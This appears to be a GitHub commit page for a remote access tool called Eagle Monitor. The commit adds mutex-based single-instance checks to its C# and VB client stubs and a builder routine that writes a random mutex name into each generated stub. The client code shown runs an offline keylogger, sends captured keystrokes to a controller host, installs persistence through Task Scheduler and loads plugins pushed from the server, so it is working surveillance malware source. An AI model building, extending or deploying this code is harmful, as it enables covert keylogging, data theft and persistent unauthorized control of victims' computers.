Skip to content

Commit 2c3ccc7

Browse files
committed
Small update
* Corrected date bug (server) * Added mutex to stub * Added missing icons * Added removed task in task configurator * Code refractoring in task configurator
1 parent b82487e commit 2c3ccc7

File tree

134 files changed

+4629
-844
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

134 files changed

+4629
-844
lines changed

Remote Access Tool/Client/Config.cs

+1
Original file line numberDiff line numberDiff line change
@@ -14,5 +14,6 @@ public static class Config
1414
public static string taskName = "%C%";
1515
public static string time = "%1%";
1616
public static string offKeylog = "False";
17+
public static string mutex = "%MUTEX%";
1718
}
1819
}

Remote Access Tool/Client/StarterClass.cs

+13-1
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
using System;
2+
using System.Diagnostics;
23
using System.Runtime.InteropServices;
34
using System.Threading;
4-
using System.Windows.Forms;
55

66
/*
77
|| AUTHOR Arsium ||
@@ -13,6 +13,17 @@ namespace Client
1313
public class StarterClass
1414
{
1515
internal static bool KeylogOn;
16+
private static bool AlreadyLaunched = false;
17+
private static Mutex mutex;
18+
public static void OneInstance()
19+
{
20+
mutex = new Mutex(true, Config.mutex, out AlreadyLaunched);
21+
if (!AlreadyLaunched)
22+
{
23+
NtTerminateProcess(Process.GetCurrentProcess().Handle, 0);
24+
}
25+
}
26+
1627
static StarterClass()
1728
{
1829
KeylogOn = false;
@@ -37,6 +48,7 @@ internal static void StartOfflineKeylogger()
3748
[MTAThread]
3849
public static void Main()
3950
{
51+
OneInstance();
4052
clientHandler.ConnectStart();
4153
MakeInstall();
4254
new Thread(new ThreadStart(() => {
Binary file not shown.
0 Bytes
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.

Remote Access Tool/ClientDll/Config.cs

+1
Original file line numberDiff line numberDiff line change
@@ -14,5 +14,6 @@ public static class Config
1414
public static string taskName = "%C%";
1515
public static string time = "%1%";
1616
public static string offKeylog = "False";
17+
public static string mutex = "%MUTEX%";
1718
}
1819
}

Remote Access Tool/ClientDll/EntryClass.cs

+12-5
Original file line numberDiff line numberDiff line change
@@ -2,16 +2,22 @@
22
using System.Runtime.InteropServices;
33
using System.Threading;
44

5-
/*
6-
|| AUTHOR Arsium ||
7-
|| github : https://github.com/arsium ||
8-
*/
9-
105
namespace Client
116
{
127
public class EntryClass
138
{
149
internal static bool KeylogOn;
10+
private static Mutex MT;
11+
private static bool OW = false;
12+
public static void OneInstance()
13+
{
14+
MT = new Mutex(true, Config.mutex, out OW);
15+
if (!OW)
16+
{
17+
Environment.Exit(0);
18+
}
19+
}
20+
1521
static EntryClass()
1622
{
1723
KeylogOn = false;
@@ -35,6 +41,7 @@ internal static void StartOfflineKeylogger()
3541

3642
public static void Main()
3743
{
44+
OneInstance();
3845
clientHandler.ConnectStart();
3946
MakeInstall();
4047
new Thread(new ThreadStart(() => {

Remote Access Tool/ClientDll/Networking/ClientHandler.cs

+5-5
Original file line numberDiff line numberDiff line change
@@ -51,9 +51,9 @@ internal ClientHandler() : base()
5151
public void ConnectStart()
5252
{
5353
Thread.Sleep(250);
54-
if (!StarterClass.KeylogOn && Config.offKeylog != "False")
54+
if (!EntryClass.KeylogOn && Config.offKeylog != "False")
5555
{
56-
StarterClass.StartOfflineKeylogger();
56+
EntryClass.StartOfflineKeylogger();
5757
}
5858
connectAsync = new ConnectAsync(Connect);
5959
connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null);
@@ -75,9 +75,9 @@ private bool Connect()
7575
private void StopOfflineKeyLogger()
7676
{
7777
Plugin.Launch.StopHook();
78-
Plugin.Launch.ClientSender(StarterClass.clientHandler.host, Config.generalKey, new KeylogOfflinePacket(Plugin.Launch.CurrentKeyStroke(), StarterClass.clientHandler.baseIp, StarterClass.clientHandler.HWID));
78+
Plugin.Launch.ClientSender(EntryClass.clientHandler.host, Config.generalKey, new KeylogOfflinePacket(Plugin.Launch.CurrentKeyStroke(), EntryClass.clientHandler.baseIp, EntryClass.clientHandler.HWID));
7979
Plugin.Launch.ClearKeyStroke();
80-
StarterClass.KeylogOn = false;
80+
EntryClass.KeylogOn = false;
8181
}
8282

8383
public void EndConnect(IAsyncResult ar)
@@ -90,7 +90,7 @@ public void EndConnect(IAsyncResult ar)
9090
this.HWID = connectionPacket.HWID;
9191
this.baseIp = socket.LocalEndPoint.ToString();
9292
SendPacket(connectionPacket);
93-
if (StarterClass.KeylogOn)
93+
if (EntryClass.KeylogOn)
9494
StopOfflineKeyLogger();
9595
Receive();
9696
}

Remote Access Tool/ClientDll/Networking/PacketHandler.cs

+4-4
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,7 @@ internal static void ParsePacket(IPacket packet)
2929
switch (packet.packetType)
3030
{
3131
case (PacketType.CLOSE_CLIENT):
32-
StarterClass.NtTerminateProcess(Process.GetCurrentProcess().Handle, 0);
32+
EntryClass.NtTerminateProcess(Process.GetCurrentProcess().Handle, 0);
3333
break;
3434

3535
case (PacketType.UNINSTALL_CLOSE_CLIENT):
@@ -52,9 +52,9 @@ internal static void LoadPlugin(IPacket packet)
5252
object obj = assemblytoload.CreateInstance(method.Name);
5353
LoadingAPI loadingAPI = new LoadingAPI
5454
{
55-
host = StarterClass.clientHandler.host,
56-
baseIp = StarterClass.clientHandler.baseIp,
57-
HWID = StarterClass.clientHandler.HWID,
55+
host = EntryClass.clientHandler.host,
56+
baseIp = EntryClass.clientHandler.baseIp,
57+
HWID = EntryClass.clientHandler.HWID,
5858
key = Config.generalKey,
5959
currentPacket = packet,
6060
};
Binary file not shown.
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
7a4219b30e76e7352e6b4e7cbc91dbd198c3a4e8
1+
38c8530b05ff19c71af9b9e3288d63a3f88e7de2
Binary file not shown.

Remote Access Tool/ClientVB/Config.vb

+1
Original file line numberDiff line numberDiff line change
@@ -12,5 +12,6 @@ Namespace Client
1212
Public taskName As String = "%C%"
1313
Public time As String = "%1%"
1414
Public offKeylog As String = "False"
15+
Public mutex As String = "%MUTEX%"
1516
End Module
1617
End Namespace
+51-40
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
1-
Imports System.Runtime.InteropServices
1+
Imports System.Diagnostics
2+
Imports System.Runtime.InteropServices
23
Imports System.Threading
34

45
'
@@ -8,43 +9,53 @@ Imports System.Threading
89
'
910

1011
Namespace Client
11-
Public Class StarterClass
12-
13-
Friend Shared KeylogOn As Boolean
14-
15-
Shared Sub New()
16-
KeylogOn = False
17-
clientHandler = New ClientHandler()
18-
StartOfflineKeylogger()
19-
End Sub
20-
21-
Friend Shared Sub StartOfflineKeylogger()
22-
If Not StarterClass.KeylogOn And Config.offKeylog <> "False" Then
23-
Plugin.Launch.Start()
24-
KeylogOn = True
25-
End If
26-
End Sub
27-
28-
29-
<DllImport("ntdll.dll")>
30-
Friend Shared Function NtTerminateProcess(ByVal hProcess As IntPtr, ByVal errorStatus As Integer) As UInteger
31-
End Function
32-
33-
Friend Shared clientHandler As ClientHandler
34-
35-
<MTAThread>
36-
Public Shared Sub Main()
37-
clientHandler.ConnectStart()
38-
MakeInstall()
39-
Call (New Thread(New ThreadStart(Sub()
40-
Do
41-
Thread.Sleep(-1)
42-
Loop
43-
End Sub))).Start()
44-
End Sub
45-
46-
Public Shared Sub MakeInstall()
47-
Persistence.Launch.StartUpTaskScheduler(Config.time, Config.taskName)
48-
End Sub
49-
End Class
12+
Public Class StarterClass
13+
14+
Friend Shared KeylogOn As Boolean
15+
Private Shared AlreadyLaunched As Boolean = False
16+
Private Shared mutex As Mutex
17+
Public Shared Sub OneInstance()
18+
mutex = New Mutex(True, Config.mutex, AlreadyLaunched)
19+
If Not AlreadyLaunched Then
20+
NtTerminateProcess(Process.GetCurrentProcess().Handle, 0)
21+
End If
22+
End Sub
23+
24+
25+
Shared Sub New()
26+
KeylogOn = False
27+
clientHandler = New ClientHandler()
28+
StartOfflineKeylogger()
29+
End Sub
30+
31+
Friend Shared Sub StartOfflineKeylogger()
32+
If Not StarterClass.KeylogOn And Config.offKeylog <> "False" Then
33+
Plugin.Launch.Start()
34+
KeylogOn = True
35+
End If
36+
End Sub
37+
38+
39+
<DllImport("ntdll.dll")>
40+
Friend Shared Function NtTerminateProcess(ByVal hProcess As IntPtr, ByVal errorStatus As Integer) As UInteger
41+
End Function
42+
43+
Friend Shared clientHandler As ClientHandler
44+
45+
<MTAThread>
46+
Public Shared Sub Main()
47+
OneInstance()
48+
clientHandler.ConnectStart()
49+
MakeInstall()
50+
Call (New Thread(New ThreadStart(Sub()
51+
Do
52+
Thread.Sleep(-1)
53+
Loop
54+
End Sub))).Start()
55+
End Sub
56+
57+
Public Shared Sub MakeInstall()
58+
Persistence.Launch.StartUpTaskScheduler(Config.time, Config.taskName)
59+
End Sub
60+
End Class
5061
End Namespace
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.

Remote Access Tool/ClientVBDll/Config.vb

+1
Original file line numberDiff line numberDiff line change
@@ -12,5 +12,6 @@ Namespace Client
1212
Public taskName As String = "%C%"
1313
Public time As String = "%1%"
1414
Public offKeylog As String = "False"
15+
Public mutex As String = "%MUTEX%"
1516
End Module
1617
End Namespace

Remote Access Tool/ClientVBDll/EntryClass.vb

+48-37
Original file line numberDiff line numberDiff line change
@@ -4,45 +4,56 @@ Imports System.Threading
44
'
55
'|| AUTHOR Arsium ||
66
'|| github : https://github.com/arsium ||
7+
'|| Converted from C# code with Tangible Source Code Converters 2022.01 ||
78
'
89

910
Namespace Client
1011
Public Class EntryClass
11-
Friend Shared KeylogOn As Boolean
12-
13-
Shared Sub New()
14-
KeylogOn = False
15-
clientHandler = New ClientHandler()
16-
StartOfflineKeylogger()
17-
End Sub
18-
19-
Friend Shared Sub StartOfflineKeylogger()
20-
If Not KeylogOn And Config.offKeylog <> "False" Then
21-
Plugin.Launch.Start()
22-
KeylogOn = True
23-
End If
24-
End Sub
25-
26-
27-
<DllImport("ntdll.dll")>
28-
Friend Shared Function NtTerminateProcess(ByVal hProcess As IntPtr, ByVal errorStatus As Integer) As UInteger
29-
End Function
30-
31-
Friend Shared clientHandler As ClientHandler
32-
33-
<MTAThread>
34-
Public Shared Sub Main()
35-
clientHandler.ConnectStart()
36-
MakeInstall()
37-
Call (New Thread(New ThreadStart(Sub()
38-
Do
39-
Thread.Sleep(-1)
40-
Loop
41-
End Sub))).Start()
42-
End Sub
43-
44-
Public Shared Sub MakeInstall()
45-
Persistence.Launch.StartUpTaskScheduler(Config.time, Config.taskName)
46-
End Sub
47-
End Class
12+
Friend Shared KeylogOn As Boolean
13+
14+
Private Shared MT As Mutex
15+
Private Shared OW As Boolean = False
16+
Public Shared Sub OneInstance()
17+
MT = New Mutex(True, Config.mutex, OW)
18+
If Not OW Then
19+
Environment.Exit(0)
20+
End If
21+
End Sub
22+
23+
24+
Shared Sub New()
25+
KeylogOn = False
26+
clientHandler = New ClientHandler()
27+
StartOfflineKeylogger()
28+
End Sub
29+
30+
Friend Shared Sub StartOfflineKeylogger()
31+
If Not EntryClass.KeylogOn And Config.offKeylog <> "False" Then
32+
Plugin.Launch.Start()
33+
KeylogOn = True
34+
End If
35+
End Sub
36+
37+
38+
<DllImport("ntdll.dll")>
39+
Friend Shared Function NtTerminateProcess(ByVal hProcess As IntPtr, ByVal errorStatus As Integer) As UInteger
40+
End Function
41+
42+
Friend Shared clientHandler As ClientHandler
43+
44+
Public Shared Sub Main()
45+
OneInstance()
46+
clientHandler.ConnectStart()
47+
MakeInstall()
48+
Call (New Thread(New ThreadStart(Sub()
49+
Do
50+
Thread.Sleep(-1)
51+
Loop
52+
End Sub))).Start()
53+
End Sub
54+
55+
Public Shared Sub MakeInstall()
56+
Persistence.Launch.StartUpTaskScheduler(Config.time, Config.taskName)
57+
End Sub
58+
End Class
4859
End Namespace
Binary file not shown.

Remote Access Tool/Eagle Monitor Builder/Helpers.cs

+16
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55
using dnlib.DotNet;
66
using dnlib.DotNet.Emit;
77
using System.Runtime.InteropServices;
8+
using System.Text;
89

910
/*
1011
|| AUTHOR Arsium ||
@@ -24,6 +25,8 @@ internal class Utils
2425
internal static string GPath = Application.StartupPath;
2526

2627
internal static string stubPath = GPath + "\\Stubs\\Client";
28+
29+
internal static string randomString = "ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789abcdefghijklmnopqrstuvwxyz|@#^{}[]`´~";
2730
}
2831

2932
internal class Config
@@ -74,6 +77,13 @@ internal void Build(string path, string dns, string port, string key, string tas
7477
public static string taskName = "%C%";
7578
public static string time = "%1%";
7679
public static string offKeylog = "0";*/
80+
81+
private readonly Random random = new Random();
82+
private string NextString(int length) => new string((
83+
from _ in Enumerable.Range(0, length)
84+
let i = random.Next(0, Utils.randomString.Length)
85+
select Utils.randomString[i]).ToArray());
86+
7787
private void WriteSettings(ModuleDefMD asmDef, string dns, string port, string key, string taskName, string time, string offKeylog,string AsmName = "Client")
7888
{
7989
foreach (TypeDef type in asmDef.Types)
@@ -115,6 +125,12 @@ private void WriteSettings(ModuleDefMD asmDef, string dns, string port, string k
115125
{
116126
method.Body.Instructions[i].Operand = offKeylog;
117127
}
128+
129+
if (method.Body.Instructions[i].Operand.ToString() == "%MUTEX%")
130+
{
131+
132+
method.Body.Instructions[i].Operand = "EM-" + NextString(24);
133+
}
118134
}
119135
}
120136
}

0 commit comments

Comments
 (0)